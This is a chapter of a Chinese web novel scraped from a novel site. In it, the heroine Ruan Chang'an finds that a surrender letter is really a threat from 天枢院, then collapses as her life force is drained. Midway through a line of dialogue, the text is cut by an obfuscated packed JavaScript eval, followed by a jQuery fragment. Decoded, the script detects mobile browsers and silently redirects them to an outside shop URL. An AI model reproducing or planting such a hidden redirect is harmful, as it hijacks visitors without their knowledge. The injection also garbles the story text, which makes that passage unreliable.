文趣网 > 其他小说 > 成为传说,从废柴开始 > 61. 天枢焚灯
    陆聆风哼着小曲,搓着手里两根党参,慢悠悠赶来,心想,吃个热乎饭,这才是生活啊。结果发现,院里就剩下萧明羽一人。

    一个不好的预感涌上心头,陆聆风道:“明羽兄,长安呢?”

    萧明羽一脸无辜,摇了摇头。

    意识到事情不对,陆聆风赶紧跑去锅跟前,拿勺在汤里翻了好几圈,“鸡腿呢?明羽兄!鸡腿呢!”陆聆风不甘心,又蹲下往柴火堆里看了看,“连个骨头都没剩!”

    萧明羽道:“陆兄,我给你盛了鸡翅,快来吃吧。”

    桌上已经摆好两副碗筷,碗里鸡块若干,但这些陆聆风并不稀罕,倒是最上头真有个大鸡翅,露在汤外面,陆聆风道:“也好也好。”

    另一处,阮长安端着一只碗,里面装着两个大鸡腿,鬼鬼祟祟的,生怕被人看见。

    直到走近乔采薇的房间,阮长安把脚步放更轻,走到窗户边侧身看过去,还好屋子里没人,阮长安松下一口气。

    送汤计划完成后,阮长安浑身松快不少,大摇大摆回了自己院子,“萧明羽,你笑什么?”

    萧明羽指了指桌上的纸条,“陆兄留给你的。”

    阮长安拿起来一看,上面写到:阮长安,大骗子,还我鸡腿。

    “哈哈哈哈——”

    萧明羽把碗推到阮长安跟前,温声道:“长安,给你留了个鸡翅,快吃吧。”

    阮长安刚要动筷,一想到自己私吞两个鸡腿,恐怕萧明羽什么好部位都没吃上,于是又推让过去,“还是你吃吧,以本帅现在的财力,难不成吃个鸡还要让来让去。”

    “我已经饱了。”萧明羽把碗推回去,起身去收拾厨房。

    他平日注重仪态,就连在灶台前都极为赏心悦目,不多时,又端出一碗热乎的板栗饼。

    “哇!”

    “嘘......”

    萧明羽指了指碗口,碗里只有六个,根本不够分,要是把陆聆风吵来,恐怕回个头的功夫就只剩渣了。

    这板栗饼看着酥脆,外皮撒了黑白芝麻,阮长安太久没吃甜食,一口气吃了三个,“真好吃,你手艺不错啊!”

    萧明羽蹲下身道:“你要是喜欢,等以后能过安稳日子了,我可以天天给你做。”

    好是好,但萧明羽这大眼睛,一闪一闪的,闪得人耳根发烫。

    “不用麻烦了。”阮长安端起碗就往房里跑。

    鸡汤里也不过是放了些党参枸杞之类的药材,害得阮长安夜里燥热难耐,辗转反侧,根本无法入眠。

    于是大半夜的,阮长安突然从床上坐起来,左手提刀,右手拎剑,准备把自创的把式全都武一遍。

    反正李家庄够大庭院够多,萧明羽现在搬去别院住了,夜里也不会打扰到谁。

    刚到院子,却见洞门投来一个黑影。

    “谁!”

    阮长安扔下长刀,提剑就追,黑影躲避亦是快,这李家庄子墙高不说,回廊又绕又窄,阮长安跟着逃跑的脚步声一路追,最后踩着高墙,跳到黑衣人面前。

    “采薇?”

    乔采薇揭下面罩,另一手还捏着一只碗。自从乔嘉木死后,她们之间总有一道隔阂。

    大山大河好翻过,但是窗户纸难破。阮长安道:“你想过来,不至于非得深更半夜。”

    乔采薇道:“大帅想来,也不必非得翻窗。”

    阮长安有些心虚,一手悄悄背在身后,边抠自己的腰带,边道:“洒窗户边了?”

    幸好四周灯光暗淡,能掩饰不少尴尬。

    “大帅。”

    阮长安终于能把憋了很久的话说出来:“对不起。”

    “采薇,对不起。”

    话说出口的那一刻,天旋地转,心脏不受控地在胸腔乱蹦。还好乔采薇及时握住她手腕,那一握非常有力度。

    “大帅,都过去了。”

    次日一早,乔采薇拿着两封信。

    阮长安把两封信依次拆开,竟是邻近恭城、骏城送来的投诚书。

    整个文书辞藻华丽,先是恭喜她拿下孚城,吹嘘北府军何等神勇无双,又写城中大小官员早已不堪陈蓝青的苛敛无度,期待北府军已久,愿大开城门恭迎大军入城,仓储户籍一应造册呈献,只希望她能垂怜百姓,让无辜之人免受灾祸之类的。

    “不战而屈人之兵,还有这种好事儿,算他们识趣。”阮长安一脸春光,呲牙大笑,可转念就脸就阴沉了下去。

    乔采薇道:“大帅,怎么了?”

    阮长安把这一沓信件又读了一遍,递给乔采薇,“或许真不是件好事。人心叵测啊,孚城一战,损失很重,要是我们信了这些话,带兵入城,到时他们关起门来,拿我们当狗打。”

    鬼才上当呢。

    乔采薇亦是将信仔细读了一番,她生长在澧城那种军头常年盘剥人的地方,对这些谄媚之言半个字都不信,甚至本能的厌恶,道:“谁家好人能写出这种话来。”又指着信上几行字道:“还什么‘日夜翘首以盼,如旱望霖,如子望慈父’。”

    酸不溜秋的话最忌讳被念出来,一念出来,简直叫人膈应,阮长安眉头紧蹙道:“我可没给人乱当爹的癖好。”

    此时萧明羽从隔间过来,端了两碗凉茶给她们,阮长安一口闷完凉茶,道:“萧大人来的正好,有何高见?”

    萧明羽接过信来,一眼扫过便眉头紧锁,道:“这信毫无诚意,内容全是抄的。”

    “抄的?”阮长安有些诧异,“这都能听出来?抄的谁的?”

    乔采薇一脸不可思议,夹杂几分嫌弃,道:“该不会抄的你的吧。”

    一时间,萧明羽羞赧至极,长舒一口气,才艰涩道:“我为此一直痛恨自己。”

    什么如旱望霖,如子望慈父之类的,阮长安不问也能猜出来,大概是萧明羽做门客时所写。

    可他那时有仇要报,说几句阿谀谄媚的话又怎么了。

    阮长安轻轻拍了下萧明羽的肩膀,“没啥大不了的,以后不会再有这种委屈。”

    萧明羽听后甚是感动,但很快,他腰间的溯光笔开始盈亮异动。

    “这是怎么回事?”

    “不知。”萧明羽摇头

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746397|206988||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,“难不成与这封信有关。”于是解下笔,稍用显形法术。

    “怎么了?”见萧明羽脸色骤变,阮长安也伸去脑袋,定睛一看,“什么!恭城上下数万人,命烛已经全部点燃,七日内若不入城受降,便是骏城。”

    “这哪是什么投诚书,分明是战书!”而且一字一句都充满无耻,简直丧心病狂。

    不去是两城民众死,要去了是她手下大军死。阮长安拳头硬了,沉默不言。

    “大帅,你是怕我们打不过天枢院,打不过傀儡兵吗?”乔采薇直接一步挪到阮长安面前,抱拳请命道:“人欺我头上,打不过也要打!我们还有些护生锦囊,就算没有,我也愿意战上一战。”

    阮长安当即道:“你不能去,你们家......”就只剩她一个女儿了。

    二人对视,乔采薇对她咽回什么话心里门清。阮长安解释道:“不是我怕傀儡,是眼下境地陷入两难,我不能让你送死。”她将门窗关好,又把信在指尖烧掉,生怕风声走漏,“我已决定,我要独自去盛都,刺杀陈蓝青,不成功,便成仁。若我死了,麻烦偶尔照顾下我母亲。”

    乔采薇却捏住阮长安手腕,“大帅,恕难从命了。”抱拳道:“现在我身为北府军排号第二的将领,不得不以护天下人为己任,至于生死,只能置之度外了。既然大帅要只身犯险,那我也会率领大军前往恭城,我虽是肉体凡胎,但只要多活一刻,就绝不许傀儡猖獗。”

    都要送死的两人,将目光看向萧明羽,萧明羽却道:“别看我,长安,你去哪我就去哪,是生是死我都追随。”

    正此时,房门从外破开,三人刚要抄武器,没想到来的竟是陆聆风,“诸位,大事不好,林兄传来话,暄城、燕城所有我们打下来地方,突然大量傀儡出现。”

    “什么!”

    “好啊,腹背受敌。”

    阮长安像是反应过来什么,带着嘲意和悲切大笑起来,“萧明羽,你刚刚说,这信是抄的谁的?”

    明知故问下,萧明羽有些无措,道:“我的。”

    “抄的你的文章,偏偏这信还只有溯光笔能显形。”阮长安一把掀翻桌子,瓷器摔了一地。她大喘粗气,只觉毛骨悚然,像有一双眼睛无时无刻盯着她,直到她死。

    阮长安脑子里已有些神智不清,微红的光在眼中一闪一闪。

    “白泽,你出来,帮帮我!”

    “你出来!”

    可丝毫无回应。

    “白泽!你!”

    阮长安捂住右眼,白泽并没离开她的身体,但力量却在流逝。再展开手,自己的掌心正在变白发青,掌纹越来越浅。

    再次闭上眼,她看见乔嘉木变成傀儡,正在盛都的刑场,身旁两只铜鼎,似要将他炼化。

    “长安!”

    阮长安身体滑落,跪在地上,声音软下来,她什么都看不见了,眼前一团黑,只能伸着手乱抓,喊着:“不要......不要......”

    萧明羽从身后将阮长安环抱住,一边握住她的手,也被吓了一跳,显然她正在被夺“命”。